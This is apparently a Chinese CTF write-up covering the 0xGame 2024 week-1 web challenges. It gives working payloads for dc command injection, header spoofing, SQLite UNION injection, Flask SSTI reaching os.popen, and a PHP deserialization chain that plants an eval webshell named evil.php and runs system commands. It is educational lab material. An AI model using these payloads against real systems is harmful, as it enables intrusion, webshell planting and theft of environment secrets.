跳转至

[0xGame 2024]Web week1 合集

题目地址:https://0xgame.exp10it.cn/games/1/challenges

hello_web

打开题目要求随便搜索。右键检查和 f12 都不可用。所以我们直接打开另一个网页先打开 devtools,然后再访问这个网页就可以查看源代码了。

我们获得了第一段 flag, 并且发现提示前往 f14g.php

提示如何查看响应包。我们打开 "网络" 选项卡,然后查看最上面的相应,发现了 Flag 这个 header,前面是乱码不必理会,我们复制后面可读懂的 flag 内容,把它粘贴到之前的 flag 后面,即可获得flag。

0xGame{ee7f2040-1987-4e0a-872d-68589c4ab3d3}

hello_http

这题就是简单的 http 请求。

使用 x1cBrowser 浏览器访问,我们需要修改 User-Agent 头即可。

同理,从 127.0.0.1 访问,需要修改 X-Forwarded-For 头。

这里直接给出最终的请求:

POST /?hello=world HTTP/1.1
Content-Length: 12
Content-Type: application/x-www-form-urlencoded
Host: 8.130.84.100:50002
Referer: http://localhost:8080/
User-Agent: x1cBrowser
cookie: flag=secret
x-forwarded-for: 127.0.0.1

web=security

ez_login

爆破题,用户名:admin; 密码 admin123.

这题做不出来的原因是:我字典里没有 admin123 ,就很难受,所以之后我就重新塞了 1000 个常用密码丢进去了。

ez_rce

打开题目是一个 python 代码,我们检查源代码然后把代码复制到本地审计。

通过审计发现,我们要求访问 /calc 路由,并且使用 post 方法传递 expression 参数,这个参数会被输入到 dc -e "expression" 里面执行。我们经过试验和查阅资料得知,这个 dc 命令是一个后缀表达式的计算器。经过查阅资料,想要找到它的有关命令执行漏洞的信息,无果。

最后,我在 dc 命令的 wiki 百科上找到了这样的一行话:"使用?命令,从stdin读取一行并执行它。这允许从宏中向用户要求输入,故而此输入必须是语法上正确的,并且这有潜在的安全问题,因为dc的!命令可以执行任意系统命令。"

所以我们可以得知,这题的思路就是使用 ! 进行命令执行。经过试验,以下为最终 payload:

post:
expression=!echo $flag
# 或者 
expression=!env

ez_sql

这是一道有关于 sqlite 的 sql 注入题目。在此之前,我需要先进行 sqlite 的学习。以下是一些关键的知识点:

sqlite 基本使用

sqlite 在 linux 上可能默认安装,使用 sqlite3 这个命令即可使用。通常情况下,我们打开一个数据库,使用 sqlite3 test.db 即可。

打开 sqlite, 部分命令需要了解。

  • .help 查看帮助
  • .schema test 查看某一张表的构建命令
  • .tables 查看当前数据库的所有表
  • .dump 把当前进程中已更改的数据存回磁盘的 db 文件上

注入的原理

在 sqlite 中,我们没有 information_schema 这个表,无法直接查取数据库,但是我们有一个表叫做 sqlite_master,这个表里面存储了所有的表名和创建表的语句。我们可以使用 .schema sqlite_master 这个命令查看表的结构。可以看到,有几个字段名比较重要,比如 name tbl_namesql。因此,我们只要看到这个表的内容,就可以知道该数据库文件中,所有表的结构,然后像普通 sql 注入一样完成所需查询。

题目分析

首先,这题是联合查询,且是数字类型的注入点。所以我们先给出前两部分的 payload:

?id=-1 or 1=1 order by 5
?id=-1 union select 1,2,3,4,5

通过这两个 payload, 可以看出这题的除了 1 号位,都可以查询出资料。所以我们就利用这些点位,先把所有的表查出来。

查出名字为 flag 的表:

?id=-1 union select 1,group_concat(tbl_name),3,4,5 from sqlite_master

查出 flag 表的创建语句:

?id=-1 union select 1,group_concat(sql),3,4,5 from sqlite_master

可以看到,里面有一个 flag 字段。所以我们直接查出来就行。

?id=-1 union select 1,flag,3,4,5 from flag

在复盘的时候,还发现了本题其实过滤了单双引号。但是以本题的正常思路,好象是用不到引号的。除非像我一样想精确一点使用 where tbl_name='flag' 这样的语句。

ez_ssti

这题是一道 ssti, 前半部分和普通 flask 的 ssti 一样,我们使用下面的 payload 直接接在 url 的后面就可以获得命令执行的权限。

{{lipsum.__globals__['os']['popen']('ls').read()}}

但是观察代码,我们的环境变量 flag 已经被 flask 环境删除了。所以普通的命令执行无法获取这个环境变量。但是我们的 flask 环境还在,这个环境变量依然保留。所以我们可以直接调用 os.getenv('flag') 获取环境变量:

{{lipsum.__globals__['os']['getenv']('flag')}}

ez_unser

这是一道 php 的反序列化题目。基本的 pop 链的顺序就是遵循 "Man What Can I Say Mamba Out" 的顺序来,运用了不同的魔术方法。但是直到 Mamba 为止,前面的步骤与其说考验不同魔术方法的利用方式,不如说是告诉咱们魔术方法的利用方法。所以前面的步骤非常的公式化,就是使用 __construct 方法,给自己这个类的唯一的那个成员变量赋值为下一个类的实例化对象。

这道题的重点在于最后两个 MambaOut 类。审计代码可以知道这道题的基本思路:首先通过 Mamba 类,把木马写入创建的 log 文件。然后通过 Out 类,把 log 文件转换为可被利用的 php 文件。

以下就是 exp:

<?php
class Man{
    private $name="原神,启动";
    public function __construct(){
        $this->name = new What();
    }
}
class What{
    private $Kun="两年半";
    public function __construct(){
        $this->Kun = new Can();
    }

}
class Can{
    private $Hobby="唱跳rap篮球";
    public function __construct(){
        $this->Hobby = new I();
    }
}
class I{
    private $name="Kobe";
    public function __construct() {
        $this->name = new Say();
    }
}
class Say{
    private $evil;
    public function __construct() {
        // 交换两行的注释,完成两次不同的反序列化
        $this->evil = new Mamba();
        // $this->evil = new Out();
    }
}
class Mamba{
    // content = "<?php eval($_POST['a']);"
}
class Out{
    // o = time().".log"
    // n = "evil.php"
}

echo urlencode(serialize(new Man()));

Mamba 和 Out 两个类中,都通过注释给出两次通过 POST 方式赋值的变量,使得我们可以完成任务。第一次反序列化成功之后,我们会获得生成的 log 文件名,我们可以访问以确认是否写入成功。

以下为 payload

第一次反序列化的 payload,获得 log 文件名:

content=%3C%3Fphp%20eval(%24_POST%5B'a'%5D)%3B
&data=O%3A3%3A%22Man%22%3A1%3A%7Bs%3A9%3A%22%00Man%00name%22%3BO%3A4%3A%22What%22%3A1%3A%7Bs%3A9%3A%22%00What%00Kun%22%3BO%3A3%3A%22Can%22%3A1%3A%7Bs%3A10%3A%22%00Can%00Hobby%22%3BO%3A1%3A%22I%22%3A1%3A%7Bs%3A7%3A%22%00I%00name%22%3BO%3A3%3A%22Say%22%3A1%3A%7Bs%3A9%3A%22%00Say%00evil%22%3BO%3A5%3A%22Mamba%22%3A0%3A%7B%7D%7D%7D%7D%7D%7D

第二次反序列化的 payload,把 log 文件转换为 php 文件:

o=1730043119.log
&n=evil.php
&data=O%3A3%3A%22Man%22%3A1%3A%7Bs%3A9%3A%22%00Man%00name%22%3BO%3A4%3A%22What%22%3A1%3A%7Bs%3A9%3A%22%00What%00Kun%22%3BO%3A3%3A%22Can%22%3A1%3A%7Bs%3A10%3A%22%00Can%00Hobby%22%3BO%3A1%3A%22I%22%3A1%3A%7Bs%3A7%3A%22%00I%00name%22%3BO%3A3%3A%22Say%22%3A1%3A%7Bs%3A9%3A%22%00Say%00evil%22%3BO%3A3%3A%22Out%22%3A0%3A%7B%7D%7D%7D%7D%7D%7D

最后一次,访问改名后的 evil.php ,即可进行命令执行

/evil.php
POST:
a=system('env');

文章热度:0次阅读